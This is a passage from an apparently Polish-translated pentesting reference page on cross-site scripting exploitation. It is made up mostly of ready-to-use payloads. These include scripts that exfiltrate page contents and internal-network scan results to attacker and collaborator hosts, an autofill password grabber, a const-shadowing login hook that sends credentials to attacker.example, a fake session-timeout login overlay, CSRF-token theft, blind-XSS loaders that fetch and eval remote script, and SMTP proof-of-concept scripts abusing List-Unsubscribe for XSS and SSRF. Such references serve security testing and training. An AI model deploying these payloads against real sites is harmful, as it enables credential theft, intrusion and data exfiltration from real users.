var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Znajdź wewnętrzne adresy IP

<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Krótsze czasy wskazują na port, który odpowiada Dłuższe czasy wskazują brak odpowiedzi.

Sprawdź listę portów zablokowanych w Chrome here i w Firefox here.

Pole do żądania poświadczeń

<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Przechwytywanie haseł autouzupełniania

<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Gdy w polu password zostaną wprowadzone jakiekolwiek dane, username i password są wysyłane na attackers server — nawet jeśli klient wybierze zapisane password i nic nie wpisze, credentials zostaną ex-filtrated.

Przejęcie form handlers w celu exfiltrate credentials (const shadowing)

Jeśli krytyczny handler (np. function DoLogin(){...}) jest zadeklarowany później na stronie, a twój payload uruchamia się wcześniej (np. via an inline JS-in-JS sink), zdefiniuj najpierw const o tej samej nazwie, aby preempt i lock handler. Późniejsze deklaracje funkcji nie mogą rebind nazwy const, zostawiając twój hook w kontroli:

const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Uwagi

  • To opiera się na kolejności wykonania: twoje wstrzyknięcie musi wykonać się przed prawidłową deklaracją.
  • Jeśli twój payload jest owinięty w eval(...), wiązania const/let nie staną się globalne. Użyj dynamicznej techniki wstrzykiwania <script> z sekcji “Deliverable payloads with eval(atob()) and scope nuances”, aby zapewnić prawdziwe globalne wiązanie, którego nie da się ponownie przypisać.
  • Kiedy filtry słów kluczowych blokują kod, łącz to z identyfikatorami zapisemanymi jako Unicode-escape lub dostarczeniem przez eval(atob('...')), jak pokazano powyżej.

Keylogger

Szukając na githubie znalazłem kilka różnych:

Stealing CSRF tokens

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

Kradzież wiadomości PostMessage

<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>

PostMessage-origin ładowarki skryptów (opener-gated)

Jeśli strona zapisuje event.origin z postMessage i później dołącza je do adresu URL skryptu, nadawca kontroluje origin ładowanego JS:

window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});

Exploitation recipe (from CAPIG):

  • Gates: uruchamia się tylko, gdy window.opener istnieje i pixel_id jest allowlisted; origin is never checked.
  • Use CSP-allowed origin: pivotuj do domeny już dozwolonej przez CSP ofiary (np. strony pomocy dostępne bez logowania zezwalające na analytics jak *.THIRD-PARTY.com) i umieść tam /sdk/<pixel_id>/iwl.js przez takeover/XSS/upload.
  • Restore opener: w Android WebView, window.name='x'; window.open(target,'x') sprawia, że strona staje się swoim własnym opener; wyślij z hijacked iframe złośliwy postMessage.
  • Trigger: iframe publikuje {msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; parent następnie ładuje z CSP-allowed origin złośliwy iwl.js i go uruchamia.

To zamienia walidację postMessage bez sprawdzania origin w remote script loader primitive, która omija CSP jeśli uda się wylądować na dowolnym origin już dozwolonym przez politykę.

Supply-chain stored XSS via backend JS concatenation

Gdy backend builds a shared SDK by concatenating JS strings with user-controlled values, każdy quote/structure breaker może wstrzyknąć skrypt, który jest serwowany wszystkim consumerom:

  • Example pattern (Meta CAPIG): server appends cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>}); directly into capig-events.js.
  • Injecting ' or "]} closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).

Abusing Service Workers

Abusing Service Workers

Accessing Shadow DOM

Shadow DOM

Polyglots

Auto_Wordlists/wordlists/xss_polyglots.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Blind XSS payloads

Możesz też użyć: https://xsshunter.com/

"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>

<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>

<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">

<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>

<!-- html5sec -  allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags  -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!--  html5sec - eventhandler -  element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known.  -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">

<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>

<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload&#61;&#61; onerror=eval(atob(this.id))>

<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload&#61;&#61; autofocus>

<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">

<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>

<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))

<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>

<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />

<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />

<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}

Regex - Dostęp do ukrytej zawartości

Z tego artykułu można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład wartość inputu REGEX nadal można znaleźć po usunięciu wartości pola regex:

// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)

// Remove flag value, nobody will be able to get it, right?
flag = ""

// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)

Brute-Force List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt

XSS Wykorzystywanie innych podatności

XSS w Markdown

Czy można wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może w ten sposób uzyskasz XSS! Sprawdź:

XSS in Markdown

XSS do SSRF

Masz XSS na stronie, która korzysta z cache’owania? Spróbuj eskalować to do SSRF przez Edge Side Include Injection z tym payloadem:

<esi:include src="http://yoursite.com/capture" />

Użyj tego, aby obejść ograniczenia cookie, filtry XSS i wiele więcej!
Więcej informacji o tej technice tutaj: XSLT.

XSS w dynamicznie tworzonym PDF

Jeśli strona tworzy PDF używając danych kontrolowanych przez użytkownika, możesz spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS.
Tak więc, jeśli bot tworzący PDF znajduje jakieś HTML tagi, będzie je interpretował, i możesz to wykorzystać aby spowodować Server XSS.

Server Side XSS (Dynamic PDF)

Jeżeli nie możesz wstrzyknąć HTML tagów, warto spróbować wstrzyknąć dane PDF:

PDF Injection

XSS w Amp4Email

AMP, mające na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, wykorzystuje tagi HTML uzupełnione JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych poprzez AMP components.

Format AMP for Email rozszerza wybrane komponenty AMP na wiadomości e-mail, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ramach wiadomości.

Przykład writeup XSS in Amp4Email in Gmail.

List-Unsubscribe Header Abuse (Webmail XSS & SSRF)

Nagłówek RFC 2369 List-Unsubscribe osadza URI kontrolowane przez atakującego, które wiele klientów webmail i klientów pocztowych automatycznie konwertuje na przyciski “Unsubscribe”. Gdy te URI są renderowane lub pobierane bez walidacji, nagłówek staje się punktem wstrzyknięcia zarówno dla stored XSS (jeśli link unsubscribe jest umieszczony w DOM), jak i SSRF (jeśli serwer wykonuje żądanie unsubscribe w imieniu użytkownika).

Stored XSS via javascript: URIs

  1. Wyślij sobie e-mail, w którym nagłówek wskazuje na URI javascript:, zachowując resztę wiadomości nieszkodliwą, aby filtry antyspamowe jej nie odrzuciły.
  2. Upewnij się, że UI renderuje tę wartość (wiele klientów pokazuje ją w panelu “List Info”) i sprawdź, czy powstały element <a> odziedziczył atrybuty kontrolowane przez atakującego, takie jak href lub target.
  3. Wywołaj wykonanie (np. CTRL+klik, środkowy przycisk myszy lub “open in new tab”), gdy link używa target="_blank"; przeglądarki ocenią dostarczony JavaScript w kontekście origin aplikacji webmail.
  4. Zauważ prymityw stored-XSS: payload utrzymuje się wraz z e-mailem i wymaga jedynie kliknięcia, by się wykonać.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click

Bajt nowej linii (%0a) w URI pokazuje, że nawet nietypowe znaki przechodzą przez proces renderowania w podatnych klientach, takich jak Horde IMP H5, które wypiszą ciąg dosłownie wewnątrz anchor tag.

Minimal SMTP PoC that delivers a malicious List-Unsubscribe header ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”

msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

#### Proxy wypisania po stronie serwera -> SSRF

Niektóre klienty, takie jak Nextcloud Mail app, realizują akcję wypisania po stronie serwera — kliknięcie przycisku instruuje serwer, by sam pobrał podany URL. To zamienia nagłówek w prymityw SSRF, szczególnie gdy administratorzy ustawiają `'allow_local_remote_servers' => true` (udokumentowane w [HackerOne report 2902856](https://hackerone.com/reports/2902856)), co pozwala na żądania do zakresów loopback i RFC1918.

1. **Skomponuj email** gdzie `List-Unsubscribe` wskazuje na endpoint kontrolowany przez atakującego (dla blind SSRF użyj Burp Collaborator / OAST).
2. **Zachowaj `List-Unsubscribe-Post: List-Unsubscribe=One-Click`**, aby UI pokazywał przycisk wypisania jednym kliknięciem.
3. **Spełnij wymagania zaufania**: Nextcloud, na przykład, wykonuje żądania HTTPS do unsubscribe tylko gdy wiadomość przejdzie DKIM, więc atakujący musi podpisać email używając domeny, którą kontroluje.
4. **Dostarcz wiadomość do skrzynki przetwarzanej przez docelowy serwer** i poczekaj, aż użytkownik kliknie przycisk wypisania.
5. **Obserwuj server-side callback** na collaborator endpoint, a następnie pivotuj do adresów wewnętrznych, gdy prymityw zostanie potwierdzony.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-signed List-Unsubscribe wiadomość do testów SSRF ```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkim

smtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”

msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”

raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)

with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)

</details>

**Notatki testowe**

- Użyj endpointu OAST, aby zebrać ślepe trafienia SSRF, a następnie dostosuj URL `List-Unsubscribe`, aby celował w `http://127.0.0.1:PORT`, usługi metadanych lub inne hosty wewnętrzne po potwierdzeniu prymitywu.
- Ponieważ mechanizm obsługi wypisywania często ponownie wykorzystuje ten sam stos HTTP co aplikacja, dziedziczysz jej ustawienia proxy, metody HTTP i przepisywanie nagłówków, co umożliwia dalsze sztuczki obejścia opisane w [metodologia SSRF](../ssrf-server-side-request-forgery/README.md).

### XSS — przesyłanie plików (svg)

Prześlij jako obraz plik podobny do poniższego (ze strony [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

Znajdź więcej SVG payloads w https://github.com/allanlw/svg-cheatsheet

Różne sztuczki JS i istotne informacje

Misc JS Tricks & Relevant Info

Zasoby XSS

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks